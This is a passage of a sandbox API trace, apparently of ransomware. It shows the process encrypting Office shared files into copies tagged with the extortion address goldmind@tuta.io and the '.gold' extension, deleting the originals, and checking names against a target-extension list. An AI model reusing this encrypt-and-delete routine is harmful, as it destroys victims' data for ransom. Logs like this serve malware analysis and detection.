dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.914] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=8723) returned 1 [0038.915] CloseHandle (hObject=0x178) returned 1 [0038.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0038.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.915] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.915] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.916] GetLastError () returned 0x0 [0038.916] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2213, lpOverlapped=0x0) returned 1 [0039.324] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2220, lpOverlapped=0x0) returned 1 [0039.325] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.325] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.325] SetEndOfFile (hFile=0x1f8) returned 1 [0039.325] CloseHandle (hObject=0x1f8) returned 1 [0039.326] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.326] SetEndOfFile (hFile=0x178) returned 1 [0039.326] CloseHandle (hObject=0x178) returned 1 [0039.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString=".doc") returned 4 [0039.327] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString=".docx") returned 5 [0039.327] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0039.327] lstrlenW (lpString=".pdf") returned 4 [0039.327] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString=".xls") returned 4 [0039.327] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString=".xlsx") returned 5 [0039.327] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0039.327] lstrlenW (lpString=".ppt") returned 4 [0039.327] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString=".zip") returned 4 [0039.327] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.327] lstrlenW (lpString=".rar") returned 4 [0039.327] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString=".bz2") returned 4 [0039.327] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString=".7z") returned 3 [0039.327] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString=".dbf") returned 4 [0039.327] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString=".1cd") returned 4 [0039.327] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString=".jpg") returned 4 [0039.327] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.328] lstrlenW (lpString=".doc") returned 4 [0039.328] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString=".docx") returned 5 [0039.328] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0039.328] lstrlenW (lpString=".pdf") returned 4 [0039.328] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString=".xls") returned 4 [0039.328] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString=".xlsx") returned 5 [0039.328] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0039.328] lstrlenW (lpString=".ppt") returned 4 [0039.328] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.328] lstrlenW (lpString=".zip") returned 4 [0039.328] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.328] lstrlenW (lpString=".rar") returned 4 [0039.328] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString=".bz2") returned 4 [0039.328] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString=".7z") returned 3 [0039.328] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.328] lstrlenW (lpString=".dbf") returned 4 [0039.328] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.328] lstrlenW (lpString=".1cd") returned 4 [0039.328] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0039.328] lstrlenW (lpString=".jpg") returned 4 [0039.328] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.328] lstrcmpiW (lpString1=".HTM", lpString2=".gold") returned 1 [0039.328] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0039.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.328] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=11463) returned 1 [0039.328] CloseHandle (hObject=0x178) returned 1 [0039.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0039.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.329] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.329] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0039.617] GetLastError () returned 0x0 [0039.617] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0039.621] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0039.622] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.622] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0039.622] SetEndOfFile (hFile=0x204) returned 1 [0039.622] CloseHandle (hObject=0x204) returned 1 [0039.623] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.623] SetEndOfFile (hFile=0x178) returned 1 [0039.624] CloseHandle (hObject=0x178) returned 1 [0039.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.624] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.624] lstrlenW (lpString=".doc") returned 4 [0039.624] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0039.624] lstrlenW (lpString=".docx") returned 5 [0039.624] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0039.624] lstrlenW (lpString=".pdf") returned 4 [0039.624] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0039.624] lstrlenW (lpString=".xls") returned 4 [0039.624] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0039.624] lstrlenW (lpString=".xlsx") returned 5 [0039.624] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0039.624] lstrlenW (lpString=".ppt") returned 4 [0039.624] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".zip") returned 4 [0039.625] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".rar") returned 4 [0039.625] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".bz2") returned 4 [0039.625] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString=".7z") returned 3 [0039.625] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".dbf") returned 4 [0039.625] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".1cd") returned 4 [0039.625] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".jpg") returned 4 [0039.625] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".doc") returned 4 [0039.625] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString=".docx") returned 5 [0039.625] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0039.625] lstrlenW (lpString=".pdf") returned 4 [0039.625] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".xls") returned 4 [0039.625] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".xlsx") returned 5 [0039.625] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0039.625] lstrlenW (lpString=".ppt") returned 4 [0039.625] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".zip") returned 4 [0039.625] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".rar") returned 4 [0039.625] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0039.625] lstrlenW (lpString=".bz2") returned 4 [0039.625] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString=".7z") returned 3 [0039.625] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".dbf") returned 4 [0039.625] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".1cd") returned 4 [0039.625] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0039.625] lstrlenW (lpString=".jpg") returned 4 [0039.625] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0039.626] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0039.626] lstrlenW (lpString="PHONE.XML") returned 9 [0039.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.626] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1844) returned 1 [0039.626] CloseHandle (hObject=0x178) returned 1 [0039.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0039.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.626] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.626] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0039.626] GetLastError () returned 0x0 [0039.626] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x734, lpOverlapped=0x0) returned 1 [0039.638] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x740, lpOverlapped=0x0) returned 1 [0039.639] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.639] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.639] SetEndOfFile (hFile=0x204) returned 1 [0039.639] CloseHandle (hObject=0x204) returned 1 [0039.640] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.640] SetEndOfFile (hFile=0x178) returned 1 [0039.640] CloseHandle (hObject=0x178) returned 1 [0039.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.641] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0039.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.641] lstrlenW (lpString=".doc") returned 4 [0039.641] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString=".docx") returned 5 [0039.641] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0039.641] lstrlenW (lpString=".pdf") returned 4 [0039.641] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString=".xls") returned 4 [0039.641] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString=".xlsx") returned 5 [0039.641] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0039.641] lstrlenW (lpString=".ppt") returned 4 [0039.641] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.641] lstrlenW (lpString=".zip") returned 4 [0039.641] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.641] lstrlenW (lpString=".rar") returned 4 [0039.641] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString=".bz2") returned 4 [0039.641] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.641] lstrlenW (lpString=".7z") returned 3 [0039.641] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".dbf") returned 4 [0039.642] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".1cd") returned 4 [0039.642] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".jpg") returned 4 [0039.642] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".doc") returned 4 [0039.642] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString=".docx") returned 5 [0039.642] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0039.642] lstrlenW (lpString=".pdf") returned 4 [0039.642] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString=".xls") returned 4 [0039.642] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString=".xlsx") returned 5 [0039.642] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0039.642] lstrlenW (lpString=".ppt") returned 4 [0039.642] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".zip") returned 4 [0039.642] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.642] lstrlenW (lpString=".rar") returned 4 [0039.642] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString=".bz2") returned 4 [0039.642] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString=".7z") returned 3 [0039.642] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".dbf") returned 4 [0039.642] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".1cd") returned 4 [0039.642] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0039.642] lstrlenW (lpString=".jpg") returned 4 [0039.642] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.642] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0039.642] lstrlenW (lpString="STOCKS.XML") returned 10 [0039.642] CreateFileW (lpFileName="C:\\Program 